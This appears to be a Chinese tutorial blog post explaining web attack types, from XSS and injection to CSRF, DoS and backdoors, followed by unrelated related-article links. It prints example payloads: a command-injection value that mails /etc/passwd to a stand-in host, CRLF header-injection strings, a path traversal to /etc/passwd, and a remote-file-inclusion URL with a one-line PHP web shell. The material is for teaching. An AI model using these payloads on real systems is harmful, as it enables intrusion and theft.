HTTP网络协议(五)
主动攻击:是指攻击通过直接访问Web应用,把攻击代码传入的攻击模式,该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那些资源,例如:SQL注入攻击和OS命令注入攻击。
被动攻击:是指利用圈套策略执行攻击代码的攻击模式,在被动攻击过程中,攻击者不直接对目标Web应用访问发起攻击,例如:跨站脚本攻击和跨站点请求伪造。
被动攻击模式大致步骤:
- 攻击者诱使用户触发已设置好的陷阱,而陷阱会启动发送已嵌入攻击代码的HTTP请求。
- 当用户不知不觉中招之后,用户的浏览器或邮件客户端就会触发这个陷阱。
- 中招后的用户浏览器把含有攻击代码的HTTP请求发送给作为攻击目标的Web应用,运行攻击代码。
- 执行完攻击代码,存在安全漏洞的Web用用会成为攻击者的跳板,可能导致用户所持的Cookie等个人信息被窃取,登陆状态的用户权限遭恶意滥用等后果。
跨站脚本攻击(XSS):是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。
跨站脚本攻击会带来以下几点影响:
- 利用虚假输入表单骗取用户个人信息。
- 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
- 显示伪造的文章或图片。
例如:
SQL注入攻击是指指针对Web应用使用的数据库,通过运行非法的SQL而产生的攻击,该攻击可能引发极大的威胁,有时会直接导致个人信息及机密信息的泄露。
SQL注入攻击影响一般有以下几点:
- 非法查看或篡改数据库内的数据。
- 规避认证。
- 执行和数据库服务器业务关联的程序。
例如:
OS命令注入攻击是指通过Web应用执行非法的操作系统命令达到攻击的目的,只要在能调用Shell函数的地方就有存在被攻击的风险。
用户要填写的表单:
处理表单的部分核心代码:
my $adr =$q->param('mailaddress')
open (MALL,"| /user/sbin/sendmail $adr");
print MALL "From: info@example.com\n";
程序中的open函数会调用sendmail命令发送邮件,而指定的邮件发送地址即$adr 的值。
攻击者篡改指定的值如下:
;cat /etc/passwd | mail hack@example.jp
程序接受该值,会构成以下的命令组合:
| /user/sbin/sendmail ; cat/etc/passwd |mail hack@example.jp
攻击者的输入值中含有分号(;),这个符号在OS命令中,会被解析为分隔多个执行命令的标记,因此该程序就会以邮件的形式发送给了hack@example.jp。
HTTP首部注入攻击是指攻击通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击,属于被动攻击模式。
HTTP首部注入攻击可能会带来以下几点影响:
- 设置任何Cookie信息。
- 重定向至任意URL。
- 显示任意的主体(HTTP响应截断攻击)
HTTP首部注入设置Cookie信息案例:
一旦用户选定类型别,就会在该ID值反映在响应内,比如:选择书籍类别,那么响应内的Locating首部字段就是http://example.com/?id=101,而令浏览器发生重定向跳转。
攻击者篡改选择的内容的类别ID后发送请求:
101%0D%0ASet-Cookie:+SID=123456
其中,%0D%0A代表HTTP报文中的换行符,紧接着的是可强制将攻击者网站(http://hackr.jp/)的会话ID设置成SID=123456的Set-Cookie首部字段,发送请求之后,返回以下的响应:
Locating:http://example.com/?id=101(%0D%0A换行符)
Set-Cookie:+SID=123456
此刻字段Set-Cookie已生效,这样一来可以通过和会话固定攻击(攻击者可使用指定的会话ID)攻击组合,伪装成用户。
HTTP响应截断案例:
比如攻击者在HTTP首部注入以下代码:
%0D%0A%0D%0A<HTML><HEAD><TITLE>之后,想要显示的网页内容<!
发送该请求的后,得到返回的响应如下:
Set-Cookie:UID=(%0D%0A换行符)
(%0D%0A换行符)
<HTML><HEAD><TITLE>之后,想要显示的网页内容<!--(原来页面对应的首部字段和主体部分诠释为注释)
邮件首部注入攻击:是指Web应用中的邮件发送功能,攻击者通过向邮件首部TO或Subject内任意添加非法内容发起的攻击。
用户填写的表单:
攻击者将以下数据作为邮件地址发送请求:
bob@hackr.jp%0D%0ABcc: user@example.com
一旦咨询表单所在的Web应用接受了这个换行符,就可能实现对Bcc邮件地址追加发送。
目录遍历攻击:是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的一种攻击,这种攻击有时也称为路径遍历攻击。
假设用户要通过以下URI读取指定的文件:
http://example.com/read.PHP?log=0401.log
这个就会从 www/log/文件目录下读取0401.log文件。
攻击者篡改并设置如下的地址发送请求:
http://example.com/read.php?log=../../etc/passwd
那么就会从/www/log/目录开始定位相对路径,读取/ect/password文件。
远程文件包含漏洞:是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的URL充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击。
案例:
通过下面的URI读入查询字段指定的文件:
http://example.com/foo.php?mod=news.php
http://example.com/foo.php
对应脚本的源码:
$modname=$_GET['mod'];
include($modname);
攻击者篡改为下面形式的URL后发出请求:
http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls
http://hackr.jp/cmd.php
的源码:
<?system($_GET['cmd])?>
这样一来通过system函数就能够在example.com服务器上执行OS命令和cmd=ls显示文件及目录信息来达到目的了。
强制浏览安全漏洞:是指从安置在Web服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件。
强制浏览安全漏洞会带来一下几点影响:
- 泄露顾客的个人信息等重要情报。
- 泄露原本需要具有访问权限的用户才可以查阅的信息内容。
- 泄露未外连到外界的文件。
案例:
尽管用户设置权限只有自己可见,但没有对其账户信息有访问权限的人来说,只要拿到这图片的URI,通过直接指定URL<img src=”http://csnd.com/beyondboy/img/1255.jpg”>
就可以访问其显示的图片了。
不正确的错误消息处理的安全漏洞:是指Web应用的错误信息内容包含对攻击者有用的信息,比如:Web应用抛出的错误消息,数据库等系统抛出的错误消息。
开放重定向的安全漏洞:是一种对指定的任意URL作重定向跳转的功能,假如指定的重定向URL到某个具有恶意的Web网站,那么用户就会诱导至那个Web网站。
案例:
本来的URL发生重定向的地址:
http://example.com/?redirect=http://www.tricorder.jp
攻击者篡改URL将重定向设置为已设好陷阱的Web网站对应的连接,如下:
http://example.com/?redirect=http://hackr.jp
会话劫持:是指攻击者通过某种手段拿到了用户的会话ID,并非法使用此会话ID伪装成用户,达到攻击目的,一般手段有这些:通过非正规的生成方法推测会话ID,通过窃听或XSS攻击盗取会话ID,通过会话固定攻击强行获取会话ID。
案例:
会话固定攻击:强制用户使用攻击者指定的会话ID,属于被动攻击,大致步骤:
- 攻击者准备陷阱,先访问Web网站拿到会话ID(SID=fgf556655),此刻会话ID在服务器上的记录仍是为认证状态。
- 攻击者设置好用户使用该会话ID的陷阱,并等待用户拿着这个会话ID前去认证,一旦用户触发陷阱并完成认证,会话ID(SID=fgf556655)在服务器上的状态(用户A已认证)就会被记录下来。
- 攻击者估计用户差不多已触发陷阱后,在利用之前这个会话ID访问网站。
整个过程如图:
跨站点请求伪造攻击:是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。
跨站点请求伪造攻击一般会带来以下几点影响: - 利用已通过认证的用户权限更新设定信息等。
- 利用已通过认证的用户权限购买商品。
- 利用已通过认证的用户权限在留言板上发表言论。
案例:
密码破解攻击:计算出密码,突破认证,一般有两种手段:通过网络的密码试错,对已加密密码的破解(指攻击者侵入系统,已获得加密或散列处理的密码数据的情况。)
点击劫持:是指利用透明的按钮或链接做成陷阱,覆盖在Web页面之上,然后诱使用户在不知情的情况下,点击那个链接访问内容的一种攻击手段,这种行为又称为界面伪装。
如图:
Dos攻击:是一种让运行中的服务呈停止状态的攻击,有时也叫做服务停止攻击或拒绝服务攻击(多台计算同时发起Dos攻击叫做DDos攻击).
Dos攻击方式有以下两种:
- 集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也呈停止状态。
- 通过攻击安全漏洞使服务停止。
后门程序:是指开发设置的隐藏入口,可不按正常步骤使用受限功能。
后门程序有以下3种类型:
- 开发阶段作为Debug调用的后门程序。
- 开发者为自身利益植入的后门程序。
- 攻击者通过某种方法设置的后门程序。
HTTP网络协议(五)的更多相关文章
- 网络协议 7 - UDP 协议:性善碰到城会玩
网络协议五步登天路,我们一路迈过了物理层.链路层,今天终于到了传输层.从这一层开始,很多知识应该都是服务端开发必备的知识了,今天我们就一起来梳理下. 其实,讲到 UDP,就少不了 TC ...
- 网络协议 7 - UDP 协议
网络协议五步登天路,我们一路迈过了物理层.链路层,今天终于到了传输层.从这一层开始,很多知识应该都是服务端开发必备的知识了,今天我们就一起来梳理下. 其实,讲到 UDP,就少不了 TCP.这俩 ...
- Java 面试知识点解析(五)——网络协议篇
前言: 在遨游了一番 Java Web 的世界之后,发现了自己的一些缺失,所以就着一篇深度好文:知名互联网公司校招 Java 开发岗面试知识点解析 ,来好好的对 Java 知识点进行复习和学习一番,大 ...
- 基础笔记(三):网络协议之Tcp、Http
目录 一.网络协议 二.TCP(Transmission Control Protocol,传输控制协议) TCP头格式 TCP协议中的三次握手和四次挥手 TCP报文抓取工具 三.HTTP(Hyper ...
- linux网络协议
网络协议 本章节主要介绍linxu网络模型.以及常用的网络协议分析以太网协议.IP协议.TCP协议.UDP协议 一.网络模型 TCP/IP分层模型的四个协议层分别完成以下的功能: 第一层 网络接口层 ...
- HTTP协议 (五) 代理
HTTP协议 (五) 代理 阅读目录 什么是代理服务器 Fiddler就是个典型的代理 代理作用一:FQ 代理作用二:匿名访问 代理作用三:通过代理上网 代理作用四:通过代理缓存,加快上网速度 代理作 ...
- linux 网络协议分析---3
本章节主要介绍linxu网络模型.以及常用的网络协议分析以太网协议.IP协议.TCP协议.UDP协议 一.网络模型 TCP/IP分层模型的四个协议层分别完成以下的功能: 第一层 网络接口层 网络接口层 ...
- Linux网络编程(五)
/*Linux网络编程(五)——多路IO复用之select() 网络编程中,使用IO复用的典型场合: 1.当客户处理多个描述字时(交互式输入以及网络接口),必须使用IO复用. 2.一个客户同时处理多个 ...
- Wireshark网络抓包(三)——网络协议
一.ARP协议 ARP(Address Resolution Protocol)地址解析协议,将IP地址解析成MAC地址. IP地址在OSI模型第三层,MAC地址在OSI第二层,彼此不直接通信: 在通 ...
随机推荐
- 洛谷——P1027 Car的旅行路线
https://www.luogu.org/problem/show?pid=1027#sub 题目描述 又到暑假了,住在城市A的Car想和朋友一起去城市B旅游.她知道每个城市都有四个飞机场,分别位于 ...
- 循环GridControl所有行
; i < gridView1.RowCount; i++) { DataRowView row = (DataRowView)gridView1.GetRow(i); } gridView1是 ...
- C++中的指针、数组指针与指针数组、函数指针与指针函数
C++中的指针.数组指针与指针数组.函数指针与指针函数 本文从刚開始学习的人的角度,深入浅出地具体解释什么是指针.怎样使用指针.怎样定义指针.怎样定义数组指针和函数指针.并给出相应的实例演示.接着,差 ...
- windows10系统下设置mtu值的方法
windows10系统下设置mtu值的方法 http://www.xitongcheng.com/jiaocheng/win10_article_34701.html 以下为服务器上使用 ip ...
- 关于exports 和 module.exports
本文来源为node.js社区附上链接 http://cnodejs.org/topic/5231a630101e574521e45ef8 require 用来加载代码,而 exports 和 modu ...
- zookeeper提供了什么
简单的说,zookeeper=文件系统+通知机制. 每个子目录项如 NameService 都被称作为 znode,和文件系统一样,我们能够自由的增加.删除znode,在一个znode下增加.删除子z ...
- [React] Compound Component (React.Children.map & React.cloneElement)
Imaging you are building a Tabs component. If looks like: <Tabs> <TabList> <Tab> o ...
- c++操作当前窗体句柄
句柄 这一概念是MFC里的一个类.MFC有专门的函数来获取窗体句柄. HWND hwnd; hwnd=CreateWindow("my own windowshandle",&qu ...
- SDUT--Pots(二维BFS)
Pots Time Limit: 1000ms Memory limit: 65536K 有疑问?点这里^_^ 题目描写叙述 You are given two pots, having the ...
- SSH密码错误几次后封禁登录IP
#!/bin/bash yum -y install vixie-cron crontabs mkdir -p /usr/local/cron/ cat > /usr/local/cron/ss ...